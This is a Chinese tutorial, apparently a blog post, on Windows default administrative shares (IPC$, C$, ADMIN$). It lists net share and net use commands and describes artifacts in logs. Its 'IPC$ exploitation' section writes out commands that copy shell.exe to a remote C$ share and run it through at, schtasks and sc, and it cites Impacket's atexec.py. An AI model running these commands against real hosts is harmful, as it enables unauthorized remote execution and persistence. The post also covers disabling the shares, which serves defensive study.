一、介绍
在Windows 系统中,在“我的电脑”上右击“管理”,依次选择“系统工具→共享文件夹→共享”,就会看到一些带有美元“$”标记的符号就是Windows系统默认共享,也就是Windows在安装完毕后自动共享的功能
命令行下 net share
IPC$(Internet Process Connection)可以被理解为一种“专用管道”(命令管道,与服务server有关),可以在连接双方建立一条安全的通道,实现对远程计算机的访问。Windows NT/2000/XP提供了IPC$功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(C$,D$,E$……)和系统目录(ADMIN$)共享。所有这些共享的目的,都是为了方便管理员的管理(只有管理员能够对他们进行远程操作),但在有意无意中,导致了系统安全性的隐患。
同时,微软这么说过:“服务器服务需要使用默认 IPC$ 系统管理共享。因此,您不可以删除此共享,我们建议您不要删除由 Windows 为根分区和卷创建的(如 C$)和为系统根文件夹创建的 (ADMIN$) 系统管理共享。删除这些文件夹可能会给依赖这些共享的管理员和程序或服务带来问题。” 只要服务器服务”Server”正在运行当中,就不可能删除IPC$。试图删除只会出现”拒绝访问”的错误提示。当你停止了Server服务后。IPC$会自动消失。
所有的共享都依赖于139或445端口
二、常用共享命令
查看命令
net use #查看本机建立的连接(本机连接其他机器)
net session #查看本机建立的连接(其他机器连接的本机),需要administrator用户执行
net share 命令
net share 查看当前启用的共享
net share #查看本地开启的共享
net share ipc$ #开启ipc$共享
net share ipc$ /del #删除ipc$共享
net share admin$ /del #删除admin$共享
net share c$ /del #删除C盘共享
net share d$ /del #删除D盘共享
net share * /del #删除所有连接
这样删除,重启电脑会自动打开
net use 连接操作
net use \\192.168.10.15 #与192.168.10.15建立ipc空连接
net use \\192.168.10.15\ipc$ #与192.168.10.15建立ipc空连接
net use \\192.168.10.15\ipc$ /u:"" "" #与192.168.10.15建立ipc空连接
net view \\192.168.10.15 #查看远程主机开启的默认共享
net use \\192.168.10.15 /u:"administrator" "root" #以administrator身份与192.168.10.15建立ipc连接
net use \\192.168.10.15 /del #删除建立的ipc连接
使用域账号建立共享连接
net use \\192.168.52.143\c$ 域账户密码 /user:域名\域账户
net time \\192.168.10.15 #查看该主机上的时间
net use \\192.168.10.15\c$ /u:"administrator" "root" #建立C盘共享
dir \\192.168.10.15\c$ #查看192.168.10.15C盘文件
dir \\192.168.10.15\c$\user #查看192.168.10.15C盘文件下的user目录
dir \\192.168.10.15\c$\user\test.exe #查看192.168.10.15C盘文件下的user目录下的test.exe文件
net use \\192.168.10.15\c$ /del #删除该C盘共享连接
net use k: \\192.168.10.15\c$ /u:"administrator" "root" #将目标C盘映射到本地K盘
net use k: /del #删除该映射
建立空连接:
源主机:
空连接没有什么用,访问被拒
目的主机:
三、IPC$的利用
指非空连接
- 使用administrator建立IPC$连接,可以执行以下所有命令。
- 使用普通用户建立IPC$连接,仅能执行查看时间命令:net time \192.168.10.131 ,其他命令均执行不了。
管理员组 用户ciby连接
访问不了c盘共享
管理员账号连接
1、可以列出c$ 目录和执行命令
2、文件管理
也可以直接在文件管理用命令:\192.168.2.130\c$ 查看对应的文件及目录,也可以增删改查
3、tasklist命令(查看进程)
4、at命令(计划命令,可反弹shell)
查看目标系统时间:net time \\192.168.2.130
将本目录下的指定文件复制到目标系统中:copy shell.exe \\192.168.2.130\c$
使用at创建计划任务:at \\192.168.2.130 14:14:00 C:\shell.exe
清除at记录:at \\192.168.2.130 作业ID /delete
使用at命令执行,将执行结果写入本地文本文件,再使用type命令查看该文件的内容:at \\192.168.2.130 14:23:00 cmd.exe /c "ipconfig > c:\1.txt"
查看生成的1.txt文件:type \\192.168.10.131\C$\1.txt
5、schtasks(计划任务)
Windows Vista、Windows Server 2008及之后版本的操作系统已经弃用at命令,而转为用schtasks命令。schtasks命令比 at 命令更灵活。在使用schtasks命令时,会在系统中留下日志文件:C:\Windows\Tasks\SchedLgU.txt
在目标主机上创建一个名为test的计划任务,启动程序为C:\shell.exe,启动权限为system,启动时间为每隔一分钟启动一次
schtasks /create /s 192.168.2.130 /u administrator /p 123.com /tn test /sc MINUTE /mo 1 /tr c:\shell.exe /ru administrator /f
日志中表现:
schtasks /create /s 192.168.1.136 /u administrator /p password /tn c /tr c:\shell.exe /sc once /st 14:34
#/s 目标 /u 用户名 /p 密码 /tn 指定文件名 /tr 指定文件路径 /sc 执行次数 或频率 /st 开始时间
其他启动时间参数:
/sc onlogon 用户登录时启动
/sc onstart 系统启动时启动
/sc onidle 系统空闲时启动
查询该test计划任务
schtasks /s 192.168.2.130 /u administrator /p 123.com /query | findstr test
启动该test计划任务
schtasks /run /s 192.168.2.130 /u administrator /p 123.com /i /tn "test"
删除该test计划任务
schtasks /delete /s 192.168.2.130 /u administrator /p 123.com /tn "test" /f
6、sc命令创建服务
copy test.exe \\192.168.10.20\c$
sc \\192.168.10.20 create test binpath= "c:\test.exe"
sc \\192.168.2.130 start test
查看创建的服务
sc \\192.168.2.130 delete test
7、Impacket中的atexec.py
Impacket中的atexec.py脚本,就是利用定时任务获取权限,该脚本的利用需要开启ipc$共享。这个脚本仅工作Windows>=Vista的系统上。这个样例能够通过任务计划服务(Task Scheduler)来在目标主机上实现命令执行,并返回命令执行后的输出结果 。
日志表现:
需要启用TaskScheduler日志
四、关闭共享的方法
除了使用 net share * /del 这种方式删除之外,还有很多方式,比如修改注册表,关闭SERVER服务等,我们可以自行选择一种方式停止共享。
参考:
net share列出了Windows的默认共享(包括C盘)[通俗易懂] - 腾讯云开发者社区-腾讯云
Windows系统安全 | IPC$共享和其他共享(C$、D$、Admin$) - 腾讯云开发者社区-腾讯云
Schtasks(计划任务)命令详解_一个懒鬼的博客-CSDN博客
关闭默认共享-关于Windows的默认共享介绍-腾讯云开发者社区-腾讯云
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)